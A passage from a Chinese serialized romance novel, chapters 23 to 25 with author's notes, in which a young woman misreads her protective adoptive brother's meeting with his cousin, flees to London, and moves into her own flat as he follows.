就在此时,身后突然传出谢宇谦的闷哼,紧接着手臂的束缚骤然消失,她泄了力,身体竟然下意识往下滑去。 下一秒,风携着熟悉的气息钻进鼻尖,一双手臂从身后环住她,接住她的下坠,将她圈进怀里。 她鼻子一酸,滚烫的眼泪唰的一下流出。 她闭着眼反身抱住身后的人,“哥。” 谢昱宁红了眼眶,声音低哑,“对不起。” 钟卿悦从来没受过这种委屈,埋在他胸前嚎啕大哭起来,豆大的泪珠不停滑落,洇湿他的衬衫。 她刚才真的好怕,怕被带走,又怕他也受了伤。 她的哭声让他的心脏揪成一团,他用力握紧拳,指骨泛白,手背凸起的血管蔓延至小臂,他极力克制住情绪,偏头哑声对身后的人道:“把他带走。” 齐乐应声,抬起脚狠狠踹了一下趴在地上的谢宇谦,拽住他的后脖领,拖着往车边走。 谢宇谦鼻孔流出鲜血,顺着下巴滴在衣服上,他咬着牙咒骂道:“谢昱宁,你不得好死。” 齐乐一巴掌扇在他脸上,脸颊瞬间鼓起指痕。 谢昱宁冷冷瞥他一眼,看着他被带上车。 怀里的人还在流泪,他手足无措,只能不断抚着她的发顶,哑声安慰,“是我没有保护好你,对不起。” 钟卿悦埋在他怀里点了点头,她感觉哭了很久,头开始发晕,眼前有些发黑。 谢昱宁松开她,俯身撩开黏在脸上的发丝,她双眼通红,下唇因为用力咬过,破了皮,血痕蹭在嘴角。 他抬手拭去她脸上的泪痕,“悦儿。” 钟卿悦睁开眼,看到熟悉的脸在眼前,哽咽埋怨道:“你为什么…才回来,你为什么把我自己…丢在故城。” 说罢,又是眼泪滑落。 谢昱宁慌张地擦拭,“是我不好。” 钟卿悦吸吸鼻子,努力压住眼泪,抬手到他面前,“我的手…好疼。” 他垂眸去看,食指指尖已经磨破皮,指甲缝里都有血迹。 他小心握住,“我们去医院。” 上了车,钟卿悦渐渐缓过神,她吸着鼻子问道:“哥,你是不是在处理谢家的事情。” 她其实隐约已经猜到,今天谢宇谦出现更是肯定了她的猜测。 谢昱宁沉默一瞬,点了点头,“今天是我计划失误,让你受伤。” “没关系,就是我没能帮你报仇,他小时候老是欺负你,我要是有力气就能狠狠揍他一顿了。” 谢昱宁偏头看她,眸光温柔,“他不会再出现了。” 四目相对,钟卿悦脑海中闪过那场梦,梦里的谢昱宁和此时大相径庭,眼睛里带着强势的占有欲。而此刻,他的眼睛温柔如水。 她慌张垂下头,长舒一口气,果然是梦,梦里的人虽然长着相同的脸,性格确实是不同的。 到了医院,仔细处理了伤口,护士给她食指和中指包上纱布,嘱咐两天一换药。 回到家,徐阿姨已经做好饭,看到两人一块回来还很惊讶。 吃饭的时候,钟卿悦因为受伤的是右手,拿筷子很不方便,于是谢昱宁坐在她身边喂她。 一口菜一口饭,她像个小孩子似的鼓着嘴巴。 好在伤不算严重,几天后就恢复如常。 周末,她答应和路畅出去吃饭,两人在步行街碰面,打算先逛一逛再去吃饭。 经过一家咖啡厅时,钟卿悦随意地往里扫了一眼,透过落地窗,她看到一个熟悉的侧脸——谢昱宁。 他倚着座椅靠背,指尖交迭放在腿上,正在说着什么。 而坐在他对过的是一位钟卿悦从未见过的女人。 【📢作者有话说】 [撒花][撒花][撒花]准时准时!嘿嘿! 23 第 23 章 ◎你谈恋爱了?◎ 钟卿悦驻足在原地, 眯起眼睛好奇打量着。 女人长发大波浪,妆容浓艳精致,红唇上扬时还撩拨了下耳边的头发, 举手投足间都散发着成熟优雅的女性气质。 谢昱宁不知对着她说了什么, 她抵着额角思考着。 路畅走出去老远才发现钟卿悦没跟上, 回头去寻就看她盯着远处发呆, “走啦, 卿悦。” 钟卿悦恍然回神,没听清她在说什么,“啊?” 路畅折返,凑到她身边望向她刚才看得位置,“你看什么呢?” “咦,那是不是你哥?” 钟卿悦:“啊嗯, 我哥,在谈工作。” “你要过去吗?” “不了。”钟卿悦挽住她,“走, 我们去逛街。” 路畅回头又瞧了一眼, 钟卿悦大咧咧拉着她走远。 与此同时,咖啡厅内,谢嘉希缓缓道:“下周股东大会会提名我进董事会, 没了谢宇谦,我的竞争压力小了很多。” 谢昱宁挑眉,淡淡应了声。 “对了, 我嫂子没事吧?” “嫂子?”谢昱宁微微眯起眸子。 “嗯?还不是吗?”谢嘉希略显惊讶,继而莞尔一笑, “早晚的事。” 谢昱宁不置可否, “她没事。” “那就好。谢宇谦虽然进去了, 但看二叔的态度,他狗急跳墙也不是不可能。她在故城并不安全,你打算怎么办?” 谢昱宁垂下眸子,没言语。 “你还能一直在故城待下去?爷爷去世你必须回江城,到时她自己又很危险,我建议让她出国待一段时间,等一切尘埃落定再回来就好了。” 谢昱宁指尖无规律地点着膝盖,“不想让她知道太多。” “这还不好说,就说让她出去玩,不会很久。” 谢昱宁没接话,似乎在考虑她的建议。 谢嘉希的手机响了一下,她看了一眼,匆匆抿了口咖啡,“我走了,赶回江城。” “嗯。” 谢嘉希走后,谢昱宁又在咖啡厅坐了很久,直到齐乐出现喊他,他才起身离开。 — 钟卿悦和路畅逛了家服装店,路畅买了身运动装。她还在高尔夫俱乐部兼职,不过换了另外一家,经理还不错,暂时没遇到工作上的问题。 买完两人往步行街尽头的餐厅走。 路畅挽着她好奇问道:“卿悦,我八卦一下,你哥结婚了吗?” 钟卿悦一愣,摇了摇头,“没,怎么了?” “没有。”路畅不好意思地笑笑,“上次我跟昕昕聊起来了,她对你哥印象很深,就谈到这个话题了,今天又碰到你哥,我就好奇一下。” “哦。”钟卿悦心不在焉地应了声,“没,他工作很忙,都没谈恋爱。” 这句话说完,钟卿悦自己都有点拿不准,谢昱宁应该是没恋爱吧,反正他没提过。感觉他每天两点一线挺单一的,不是工作就是回家睡觉。 路畅:“哇,好认真啊!不过你哥看上去就是个雷厉风行的人,那次你掉水里,他去接你时我都有点害怕,他眼神看上去特别严肃。” “是吗?他只是看上去比较凶。” 路畅抿唇笑了笑,“可能这就是自带的高冷气场吧。” 说着,两人进了餐厅。 吃过午饭后,钟卿悦回家,路畅去兼职。 到家时,她恰好碰到徐阿姨要出门买菜。见她回来,徐阿姨便搭了句话,“小姐,今晚想吃什么?” 钟卿悦兴致不高,随意答了句,“我都行。” 徐阿姨点点头,又问道:“先生今晚回来吃饭吗?” “应该回来吧。” 徐阿姨应了声,转身出门。 门落锁,屋内陷入一片寂静,钟卿悦沉默换上拖鞋,掏出手机点开谢昱宁的聊天框。 两人的对话停留在前几天,谢昱宁分享给她桌面绿植的照片,白色瓷盆里一棵茁壮成长的金边虎尾兰,叶片挺拔,边缘带着一圈金黄色的镶边,直立生长给人一种坚韧不拔的感觉。 这是她逛花鸟市场买的,一共两株,另一株在她卧室的桌上。 她点开照片看了一会,划掉发去消息:[哥,晚上回家吃饭吗?] 等了几十秒,手机便震动了一下。 [回不去,你想吃什么?我让齐乐送过去。] 钟卿悦眨眨眼,幽幽叹口气,莫名有些萎靡,[我不吃什么。] 又等了几秒,他回了个“好”字。 钟卿悦刚想熄灭屏幕,他又发来一条消息:[我这几天会忙,你好好吃饭,有事随时打给我。] 钟卿悦回了个表情。 接下来的几天,果然如谢昱宁所说,他真的很忙,两人就没在家里碰到过,钟卿悦睡了他才回来,钟卿悦早起吃饭他就已经去上班了。 直到周五钟卿悦下课回家,车子刚开到家门口,就见从院子里开出一辆红色跑车,车窗落着一半,能看清驾驶位坐着一个女人,长发大波浪,熟悉的面容。 是那天她在咖啡厅看到的女人。 她为什么会出现在这?难道谢昱宁在家? 钟卿悦蹙起的眉间存着许多疑问。 下了车,她捞起计算机跑进门,“哥?” 匆匆换下鞋,拐进客厅,就见谢昱宁正迎着她往门口走。 见她着急忙慌,谢昱宁微微皱眉,“跑什么?” “没,我看你在不在家。”她长舒一口气,余光却看到茶几上放着一个杯子,杯口外沿沾着点口红痕迹。 谢昱宁接过她的计算机,“我马上要回江城。” 她一愣,转头看他,“这么忙吗?” “嗯。”他抬手揉揉她发顶,“快五一假期了,出去玩几天吧。” “出去?去哪儿?” “你想去哪?我让齐乐订机票。” “为什么?”钟卿悦不明白,顿了顿,她意识到问得很奇怪,解释道,“我意思是为什么突然让我出去玩?” “假期了。” “你呢?你去吗?” 谢昱宁有些无奈,“我时间不充裕,你可以喊朋友一起。” “我不想去。”钟卿悦冷下脸,转身就往楼上走。 谢昱宁立刻跟上,“等我忙完陪你,你想去哪我都陪你。” “那等你忙完再说吧。” “悦儿。” 谢昱宁声音响在身后,钟卿悦骤然停住步子,回身冷冷看向他,“哥,你怎么了?” 谢昱宁蹙起眉,“嗯?” “你变得很奇怪。” 话音落,她咽了口唾沫,喉间感觉哽着什么。她想起进门时看到的那个女人,很漂亮,很有气质,或许他们根本不是工作关系。 “你是不是不想我住在这里了?你谈恋爱了?” 谢昱宁认真看着她,“没有。” “你恋爱可以告诉我的,我不会告诉爸妈,而且你也老大不小了,我要是住在这里不方便我也可以让爸再给我买套公寓。” 钟卿悦说着,只觉胸口堵得难受,说不上来的闷,明明不是热得喘不上气的季节,怎么还会有这样的感觉。 她手在脸前扇了扇风,“我都说了我将来找男朋友会让你把关,你还不让我先提前见见嫂子?” “钟卿悦。”谢昱宁眸光沉沉,“我不会谈恋爱。” “好了好了。”钟卿悦觉得不舒服,不想再继续聊下去,她转头往卧室方向走,头也不回地甩下一句,“买明天飞伦敦的机票,我要去找贺文杉。” 门砰的一声关上,隔绝两人之前微妙的气氛。 钟卿悦靠着门板闭上眼,好烦,莫名其妙。 她也不是很在意那个女人到底是不是谢昱宁的女朋友,也不是很重要。他想让她出去玩,她就去呗,回来大不了她就搬出去,正好趁机讹老钟一笔,买一套小公寓,自己住得开开心心的。 往长远想,谢昱宁早晚得恋爱,他都奔三了呢,她住在这里确实不太方便,毕竟他想带女朋友回来都得考虑她。 想到这,她睁开眼,重重呼出一口气,“还是看看带什么衣服吧。” 钻进衣帽间,习惯性去找小鱼丸,走到屏幕前,平板自动解锁,她划动着列表看衣服,脑子里却在想,搬出去还是得让谢昱宁再给她装一个系统,她都用习惯了,没有会不适应吧。 想着想着就歪了,她烦躁地熄灭屏幕,转身去床上躺着给贺文杉发消息。 消息发出没一会儿,贺文杉就迅速回复:[悦姐请指示。] [我明天去找你,你去机场接我啊。] [贺文杉:!!!!这么突然!!!] [钟卿悦:还行吧。] [贺文杉:你把落地时间告诉我,我会准时出现在到达厅。] [钟卿悦:ok。] 消息刚回完,她手机便收到航班信息,她截图发给贺文杉,贺文杉回了个“使命必达”的表情包。 晚饭时,谢昱宁已经不在家了,钟卿悦自己坐在餐桌上吃饭,扒了几口米饭,觉得没什么胃口,索性放下筷子去厨房找徐阿姨,跟她交代接下来几天的安排,让她先放假在家待命。 当天晚上连夜收拾好行李,轻装上阵,只带了贴身衣物和护肤品化妆品,衣服什么她嫌收拾起来麻烦,打算落地伦敦去逛街买买买。 翌日一早,司机送她去机场,从江城转机,全程十六个小时,到达伦敦时正是中午时间。 拖着行李箱到达国际到达区,就见贺文杉已经等在外面,看到她后立刻跑着冲了过来,“悦姐悦姐。” 钟卿悦粲然一笑,“哎呦,怎么几天没见你都瘦了。” “真的啊?”贺文杉挠挠头,手忙脚乱地接过行李箱,“在这吃得不合口味,每天差不多都饿着。” “啊……那早知道我给你带点火锅底料和快餐什么的了。” 贺文杉摆摆手,“没事没事,差不多习惯了,正好还能减肥。” 下到地下停车场,钟卿悦发现贺文杉开了一辆极为扎眼的红色跑车。 还没坐进去,她就又想到昨天那个女人开得那辆车。 “悦姐?咋愣住了?”贺文杉的声音打断她的思绪。 她眨眨眼,摇了摇头,“走神了,你说什么?” “我说我带你去吃一家还不错的中餐馆,虽然远点,但味道还是很正宗的。” “好。”钟卿悦应下,坐进副驾驶。 车子启动,发动机的轰鸣声在地下车库格外聒噪。 贺文杉把墨镜往鼻梁上一架,“你怎么突然来找我?” “趁着假期嘛,出来玩咯。” 贺文杉嘿嘿一笑,“其实你来我可开心了,昨晚都没睡着,激动了半宿。你不知道,我可想你了。” “啊……?” 钟卿悦觉得他出国几个月说话都变得无所顾忌起来,她连忙转移话题,“对了,我住哪儿?” 贺文杉一挑眉,“给你安排得明明白白,我住的公寓楼下就有一家酒店,环境卫生我都看了,绝对让你满意。” “ok,靠谱。” — 在伦敦一呆就是一周,贺文杉每天陪玩陪吃,带她逛遍各个景点,给她拍照打卡,贴心周到。钟卿悦也发现他变化很大,虽然说话大大咧咧,但心思细腻了许多,做事也变得稳重利落。 这期间谢昱宁给她打电话,她偶尔接,偶尔不接,不知道为什么,反正就是不想听到他声音。 第十天时,五一假期面临结束,她打电话给谢昱宁,让谢昱宁帮她向学校请假。 电话刚一接听,她还未开口,就听到谢昱宁冷冽阴沉的嗓音,“我到伦敦了。” 【📢作者有话说】 [狗头][狗头][狗头][狗头] 谢同学:我!到!伦!敦!了!到!了!(高喊) 24 第 24 章 ◎搬家◎ 希思罗机场, 谢昱宁黑着脸大步往停车场走,齐乐一路小跑跟着,手中握得手机不停震动, 接也不是不接也不是。 “先生。”他气喘吁吁追上, “谢小姐打了十几个电话了。” “跟她说我不在。”谢昱宁头也不回, 冷嗤一声, “都是她出得馊主意。” 齐乐擦掉额角的汗, 迅速终止掉手机的震动,“喂,谢小姐。嗯,对,我没跟先生在一起。不好意思,我也不清楚, 嗯嗯嗯。” 他连连点头应付着,实则自己都不信说出口的话。 谢嘉希在那边急得跳脚,“我知道他跟你在一起, 你让他接电话。我爷爷已经进重症了, 一旦断气,公司立刻召开股东大会,他不在我怎么拿到足够的票, 他怎么能走,他到底什么计划?” 齐乐一个头两个大,他怎么能知道老板的计划, 如果硬要猜的话,或许现在应该是跨越半个地球的追爱计划吧。 搪塞过谢嘉希的电话, 两人已经上了车, 司机是伦敦分公司的人, 见到谢昱宁后尊敬问道:“先生去哪?” 谢昱宁闭上眼,眉梢抽了抽,“去公司。” 去去去去公司?! 齐乐大为震惊,不是来追爱的吗? 他还没反应过来,谢昱宁的声音在后排响起,低沉寒凉,“喂,贺总。” 齐乐屏息听着。 “嗯,麻烦您问一下您儿子现在的位置。”谢昱宁顿了顿,似乎在等那边的回应,半晌,他又道,“嗯,他跟我妹妹在一起。” 齐乐醍醐灌顶,怪不得要去公司,原来是还不知道目的地。 听着谢昱宁挂断电话,他才侧头将谢嘉希刚才的意思一五一十汇报给谢昱宁。 谢昱宁阖眸靠在椅背上,修长的指尖规律地按压着眉间,“你告诉她,都安排好了。” 齐乐:“明白。” — 钟卿悦挂断电话,心情莫名好了许多,哼着小曲儿换了衣服,出门和贺文杉去吃饭。 两人刚到餐厅门口,贺文杉的手机突然响起来,他盯着屏幕上十天半个月见不到的“老爸”两个字愣怔一瞬。 “悦姐,你先进去吧。”说着,贺文杉拉开餐厅的玻璃门,钟卿悦点点头,先一步走进餐厅。 玻璃门合上,贺文杉才接起电话,“咋了,爸。” “臭小子,在哪儿呢?”听筒里传出贺巍中气十足的声音。 贺文杉感觉莫名其妙,“吃饭啊。” 贺巍没了什么耐心,声音拔高,“抓紧告诉我地址。” “干嘛?”贺文杉狐疑道,“您该不会来伦敦了?” 贺巍不管三七二十一,就是一口应下,“啊,我来了,抓紧告诉我。” “您怎么突然来?”贺文杉半信半疑。 贺巍:“别磨蹭。” 贺文杉不明所以,沉了一瞬还是报出了地址,又嘱咐道:“您来了就先自己点餐吃饭,别找我啊,我忙完再伺候您老。” “行行行。”贺巍匆匆应下。 挂断电话,贺文杉走进餐厅。 钟卿悦选了一个靠窗的位置,能看到人流如织的街道和远处都铎风格的建筑。 看到贺文杉回来,她将手中的菜单递上,“我看好了,你看你想吃什么。” 贺文杉大咧咧扫了一眼,点了自己的主食,侍从应下,抱着菜单离开。 “悦姐,你什么时候回国?” 钟卿悦:“明天吧,学校不好请假。” 贺文杉垂下眼,神色落寞,“那再见面就是暑假了。” “时间过得很快,一转眼就暑假了。” “唉。”贺文杉幽幽叹口气,“其实我还挺怀念高中时候的。” 他望向窗外,眼睛里充满对过去的怀念,“那时候你掉得头发总挂在我书上,没两天我就能在胶带上粘一捋。” 钟卿悦无奈地摇摇头,“我也不想,那时候压力太大了,我都怕自己秃了。” “不过还没秃,挺茂密的。”贺文杉扬起唇角冲着她笑了笑,露出一排整齐的白牙。 此时侍从拿着水壶来为两人倒水,他刚拿起钟卿悦的水杯,贺文杉立刻扬手,礼貌道:“抱歉,请为我们换成热茶。” 侍从应声离开。 贺文杉立刻解释道:“这个季节的伦敦还不适合喝冰水,你的体质喝了容易不舒服。” 钟卿悦诧异地看了他一瞬,默默点了点头。 看来在国外独立生活真的挺锻炼人的,他变化很大,之前这些细小的事儿从来不在他心上,他永远都是大大咧咧没心没肺的性格。 贺文杉不知道她在想什么,自顾自继续说起以前的事,“你还记得初二运动会不?” “什么?”钟卿悦不知道他说得是哪件事,而且她记性挺差的。 “我短跑倒数第二那次,连个参与奖的本子都没拿到,因为发到我这儿时老师说没了。” 说起这个贺文杉就想笑,“你知道以后就把你女子4x100米接力赛得奖的本子送给我了,我记得可清楚了,封面上写满了绿色字母。” 钟卿悦惊讶地眨眨眼,“我都不记得了。” 贺文杉轻咳一声,手背抵着鼻子,“其实和你有关的我都记得。” 话音落,钟卿悦呼吸一滞,事情似乎在朝着不可控的方向发展。 她迅速躲开他的视线,仓皇站起身,“那个,我去下洗手间。” 椅子在木地板滑动,发出沉闷的声音,她低头看了眼,加快步子离开。 和贺文杉认识大约有六七年了,这样的友情少之又少,她不想破坏,但眼下这种情况或许只能去疏远这段友谊,因为没办法走下去了。 她在洗手间磨蹭了很久,洗了手,涂了护手霜,又补了下底妆。 回到餐桌时,菜品已经端了上来。 她装作无事发生的样子,喊着他吃饭,他也决口不再提刚才聊得话题,转言聊起过敏乐队最近的新歌。 一顿饭在还算愉悦的氛围下结束,两人去吧台结完账准备离开时,钟卿悦抬眸赫然看到门口出现的熟悉人影。 谢昱宁带着一身冷冽的寒意走进餐厅,目光淡淡环视一圈,很快和她的视线交汇。 他怎么知道她在这里? 还未想明白答案,谢昱宁已然走到她面前。 贺文杉回头看到他时吓了一大跳,“大哥?您也来了。” 谢昱宁漫不经心地扫了他一眼,又瞄了眼旁边桌上的菜品,就这样还能让她不回国? “哥,你也来吃饭?” 谢昱宁收回视线,挑眉道:“吃过了。” 吃过了还来干嘛? 钟卿悦在心里嘀咕了一句,嘴上却说:“正好碰到了,帮我买机票吧,我要回国。” 闻言,贺文杉立刻说道:“既然要回国了,难得凑在一起,不如下午我们去听音乐剧吧。” 他向谢昱宁投向询问的目光。 谢昱宁淡淡看着他,“不了,我找她有事。” 说罢,他不容置疑地拉住钟卿悦手腕,不等回应就带着她往门口走去。 “诶——”钟卿悦被他拉得脚步踉跄,不满地哼唧一声。 谢昱宁脚步一顿,接着放慢了步伐。 钟卿悦回身冲着贺文杉扬扬手,“我先走了,电话联系吧。” 出门走到一辆白色商务车旁,谢昱宁拉开车门,不由分说地将她塞进车内。 上了车,钟卿悦不满地蹙着眉,“你干嘛?什么事?” 谢昱宁偏头瞥她一眼,眸色冷冽,“不知道住哪,有时差,很困,带我去你住的酒店。”??? 钟卿悦一脸无语,“拜托,哥哥,你之前不是一直在伦敦上学吗?” 谢昱宁目不斜视,往椅背上一靠,“地址。” 好好好,钟卿悦撇撇嘴,报出一串地址。 车子启动,在伦敦街头缓慢行进。钟卿悦看了一会儿窗外,转过头时看到了副驾驶的齐乐,忽然想到什么,开口说道:“齐乐,麻烦你回国在我的公寓再按一套小鱼丸系统吧。” 齐乐头皮一阵麻,立刻回身瞄了一眼谢昱宁,只见谢昱宁脸色极差,眉宇间蕴着浓稠的阴鸷。 他尴尬地笑了笑,接过钟卿悦期待的目光,硬着头皮道:“好的,小姐。” 钟卿悦回给他一个温柔的微笑,继而垂下嘴角看向谢昱宁,“我让爸在北门小区给我买了套小户型的公寓,全屋整装,拎包入住。回国后我收拾收拾就搬家了。” 谢昱宁眯起眸子,一瞬不瞬地盯着她,她耸耸肩躲开他的目光。 齐乐在副驾驶听得肩膀抖,唇角压抑不住的上扬,好嘛,这真的是捅了马蜂窝了。 接下来一路沉默,直至到了酒店办理完入住。拿到房卡后,谢昱宁跟在钟卿悦身后上楼。 两人房间在同一层,下了电梯,钟卿悦直直往自己房间走去。 经过谢昱宁房间门口时,她瞥了一眼,继续往前走,步子还未迈出去,手上突然多?*? 了一股温度,带着收紧的力道,阻止她离开的步伐。 谢昱宁单手打开门锁,偏头看她一眼,不由分说拉着她进了自己房间。 “你干嘛呀?”钟卿悦蹙起眉,“你捏疼我了。” 谢昱宁反手关上门,松了松指尖的力道,但仍没放开她。 “为什么搬出去?”他眯起眼盯着她,晦涩暗沉的黑眸蕴着克制的寒意。 钟卿悦偏开头不看他,也不说话。 “不喜欢那套房子?”他又问。 她仍沉默。 “不喜欢可以换,回国你去选。” “不是!”钟卿悦瞪他一眼,挣扎脱离他的手,“我就是不想跟你住一起了。” 她哼了一声,直直走向门口,“你别再跟着我了。” 谢昱宁沉默站在原地,看着门砰的一声关上。 — 翌日,一早登机回国,钟卿悦以为只有她自己回去,没成想谢昱宁的座位就在她身边。 昨天两人不欢而散,晚上他喊她吃饭她也没去。今天一路行程她也不跟他说话,两人就这么陌生地坐了一路。 十几个小时的飞行,国内时间的清晨落地故城。 从机场回到家,钟卿悦马不停蹄收拾行李,她没带太多衣服,毕竟不知道公寓那边有没有衣帽间。收拾了贴身衣服和日常物品,24寸的行李箱也塞满了。 她吭哧吭哧拖着下了楼,就看到谢昱宁站在客厅里,身边也放着一个行李箱。 钟卿悦扫他一眼,自顾自拉着行李箱出门。 还没到门口,就听到身后亦步亦趋跟着一个人。 她停下步子,回身看他,“你干嘛?” 谢昱宁手搭在行李箱上,“搬家。” 【📢作者有话说】 谢同学:宝宝,你要走吗?别忘了把我带走[可怜][可怜] 25 第 25 章 ◎黑暗下◎ 谢昱宁跟着钟卿悦到了公寓门口, 推都推不走的那种,钟卿悦用上吃奶的劲儿,他都岿然不动地站在原地。 她愤愤瞪了他一眼, 转身开门进屋。 公寓户型不大, 装潢以奶油色和原木色为主, 入眼温馨舒适。她围着房间转了一圈, 开放式的小厨房规整干净, 通过来就是客厅,南面有个小阳台,采光极好,此时初升的阳光透过玻璃斜斜照在墙上,温暖细碎。 从客厅走廊再往里走是卫生间和卧室,她推门看了看, 卧室的空间很大,没有衣帽间,有通体延伸的衣柜, 角落还有一张化妆桌。 而卧室对过她原本以为是次卧, 没成想打开门看到的是一间书房,空间很小,摆上满墙的书架和书桌后, 只有小面积的活动空间。 她关上书房门走回客厅,谢昱宁正从厨房出来,手里拿着洗干净的水壶, 放到茶吧机上,接上水烧水。 钟卿悦看着他, 下逐客令, “这个公寓很小, 没有客卧,你还是回去住吧。” 谢昱宁看她一眼,没接话,自顾自将行李箱拉进书房。 钟卿悦跟在他身后,他放平行李箱,拿出睡衣和笔记本电脑,还有几份档。 “我睡沙发。” 钟卿悦撇撇嘴,“你明明有大房子,干嘛跑来跟我挤?” 谢昱宁淡淡看着她,语气十分认真,“我想跟你住一起。” “难道你结了婚也跟我住一起?” 钟卿悦的话带了气,她也不知道哪里来得气,语气就是莫名其妙的很差。 谢昱宁抬眸看她,神情冷冽,目光一瞬不瞬落在她脸上,四目相对,他眼神坚定,“我不会结婚。” 钟卿悦被他看得不舒服,低头躲开他的目光,“行了,你别说这种话了。你为什么让我出国,不就是觉得我在家耽误你了,你以为我什么都不知道,其实我什么都知道。我看到有个很漂亮的女生从家里出来,开着红色跑车,卷发,眼睛很大很亮。” “你觉得我碍事直说啊,干嘛变着花样让我出去玩。”她半张着嘴,后面的话哽在喉间,半天才混着咸咸的泪水咽下去。 “我又不管你谈恋爱,你给我找个嫂子我高兴还来不及呢,有必要骗我吗?真无聊。” 说罢,她转身蹭了下眼角,装作忙碌的去客厅收拾东西。 人刚走出门口,手腕却突然被抓住。 谢昱宁握着她的肩膀将她转过来,面对面,他倾身靠近,眼睛试探看着她,她眼眶、鼻头通红,扑闪的睫毛上还沾着泪滴。他抬手,指尖停留在空中,片刻后小心翼翼靠近她的脸颊,指背轻柔地擦拭她眼角的泪痕,克制压抑的疼惜全都隐藏在温柔的动作中。 他哑声,“哭什么?哪里来得女人?” “哪哭了,没哭,别说了,你好烦。”钟卿悦挣扎着后退一步躲开他,手背迅速揉着眼睛,掩饰夺眶而出的泪水。 谢昱宁蹙眉,下一秒立刻想到,“你是说谢嘉希?” 谢嘉希? 她吸吸鼻子,“不知道,不清楚,不认识。” “她是我三叔的女儿,堂妹。” “那恭喜你哦,你妹妹真多。” 她话里有话,怪腔怪调,听在谢昱宁耳朵里却变了味儿,他垂眸,嘴角微微扬起,“你跟她不一样。” 钟卿悦瞥他一眼,黑眸中还带着未散去的水汽,“是不一样,她跟你有血缘关系是亲妹妹,我只是假妹妹,哪能一样。” 谢昱宁无奈叹口气,靠近她轻声细语道:“我以后不让她去我们家了。” “跟这个有什么关系。”钟卿悦咕哝一句,匆匆拖着行李箱回卧室。 看着关上的门,谢昱宁唇角浮起笑意,他掏出手机,走到阳台窗边拨通电话。 响了许久,电话被接听,对面传来谢嘉希焦头烂额的声音,“我说大哥,你可算回我个电话了。” “这么麻烦?爷爷不是还在重症?” “是啊,他是在重症,可公司里都要乱套了。” 谢昱宁挑眉,“股东大换血,我手里有股份,你着什么急?” “我要是能有你一半的淡定不早就接手公司了。” “别担心没用的,收集证据,一切等爷爷去世再说。”谢昱宁顿了顿,淡淡启口,“二叔做的事,足够让他进去呆个几年了。” 谢嘉希安静应下。 谢昱宁:“说正事,明天来一趟故城。” “什么事?你追爱失败了?我嫂子一怒之下不要你了?” 谢昱宁蹙起眉,“你见她一面,解释一下那天为什么去找我。” 谢嘉希目瞪口呆,“哪天?我给你送文件那天?我嫂子不会把我当成情敌了吧?” 说完,她忍不住笑出声,“大哥,你也有这么一天。” 谢昱宁太阳穴砰砰直跳,他沉下声,“来了少说话,别提没用的。” “知道知道,你现在是暗恋阶段,我懂我懂。”谢嘉希一边笑一边调侃。 谢昱宁轻咳一声,“别叫嫂子。” “啊……哈哈哈哈好,我知道了。” 不等谢嘉希说完,他立刻挂掉电话,她嘴实在太碎了。 屏幕熄灭,世界陷入安静,他目光望向窗外,远处树梢上的小鸟抖动羽毛,警惕环视环境后展翅飞走。 他如它一样小心翼翼。 谢嘉希口中的“暗恋阶段”是他永远无法跨越的鸿沟,或许他会永远停在这个阶段,当钟卿悦克己复礼的哥哥,在她需要的时候保护她。 身后传来钟卿悦慢吞吞地脚步声,谢昱宁回身望去,她手中拿着一张海报,一边聚精会神看着,一边又摆弄手机。 “怎么还不开售呢?”她自言自语嘟囔着。 前段时间她去逛商场收到的海报,当时很感兴趣,后来就夹在书里,刚才整理书包时又翻到了。 海报中的家庭版迷你帐篷十分可爱,广告语写着:这是你曾经梦想的秘密基地吗? 当然是,她小时候都是在衣柜下面单独开辟出一块地方,铺上被子和枕头,挂上闪闪发光的小灯,当作自己的秘密基地,不高兴的时候就躲在里面。 而现在这个迷你帐篷更适合长大的她,搭在房间里,拉上帘子就是一个密闭的空间。 商家放在海报里的宣传图十分吸引她,她对照着查看购物软件里的商品明细,除了帐篷外,还配有厚厚的床垫,顶端悬挂的水晶暖光灯,玩偶绿植和玩偶小熊,重点是内部还设有音响,360°环绕声,尽情享受独属于自己的安静时光。 她越看越喜欢,只可惜距离开售还有三天,三天后预定要半个月才会发货。 她蹙起眉,不满地将手机和海报往餐桌上一扔,拿水杯去倒水喝水。 谢昱宁不着痕迹走过去,目光瞄了眼海报,一看就知道是钟卿悦会喜欢的,扫了眼品牌,默默记在心里。 — 半夜,钟卿悦躺在床上翻来覆去,不知道是时差没倒过来的缘故还是换到陌生环境有点认床,她竟然一点都不困。 数了不知道多少只羊,还是毫无睡意。她烦躁地坐起身,打算去个厕所。 出了卧室门,走过卫生间门口,她却朝着客厅去。 客厅光线黯淡,只有阳台透出银色的月光。谢昱宁躺在沙发上,修长的双腿蜷缩着,头下枕着沙发上的抱枕,被子因翻身掉落在地,身上什么也没盖。 她皱起眉,感觉他睡得很难受,这么大个人躺在狭小的沙发里。 她放轻脚步走上前,入眼是他安静的睡颜,松散的碎发散在额前,双眸阖着,不见平日的冷漠疏离,倒显得有些可爱。 她叹口气,小心翼翼捡起被子,刚搭在他腰间,他却忽然睁开双眸。 “你……”钟卿悦张了张嘴,“怎么醒了?” 他坐起身,睡眼惺忪,声音低哑,“嗯,你怎么不睡?” “没,我就起来上厕所,看被子掉地上了。”她手上还捏着被子,说得底气不足。 “不困?”他问道。 她摇了摇头,“你在这睡不舒服,你去卧室吧,我在这,明天你就回家,不要在我这挤了。” 谢昱宁蜷起腿,拍了拍空着的沙发,示意她坐下。 黑暗中,两人并肩而坐,挨得很近,她能清晰闻到他身上清冽的雪松气息,混杂着她常用的沐浴露的味道,甜而不腻。 谢昱宁:“你跟我回家吗?” 她垂着眸子,摇了摇头,“哥,你早晚会恋爱,我住在那边不方便。当时我没想那么多,爸爸也没给我钱,我没办法租房子,可现在有了这个小公寓,我住在这里挺好的。” 话音落,房间寂静无声,落针可闻,她胸口有些闷,索性脱了鞋子抱着腿缩在沙发里。 谢昱宁一直沉默无言,等了很久后,他突然轻声开口,“我不会恋爱,更不会结婚。我会这么告诉你,就一定会做到。” 她呼吸凝滞,指尖发凉,“可是……你为什么要跟我说这种承诺?” 为什么? 因为他看她已经不再是单纯的看妹妹了,他想要的更多,不只是兄妹关系。 他不愿看到她依赖其他异性,更无法接受她和其他异性拥有更加亲密无间的关系。 漆黑空间里,他咽下所有的话,终是缄默无言。 钟卿悦偏头看他,他的侧脸隐在暗中,只能隐约看到模糊轮廓。 许久后,指尖袭来温热的触感,他的手靠近,包裹住她微凉的指尖。钟卿悦的心跳在此刻忽然失序,呼吸变得杂乱无章,她想起那夜的梦,梦里也是这样的感觉,心脏悸动,如电流流窜全身。 他不是第一次牵她的手,可之前的感觉和现在完全不同。 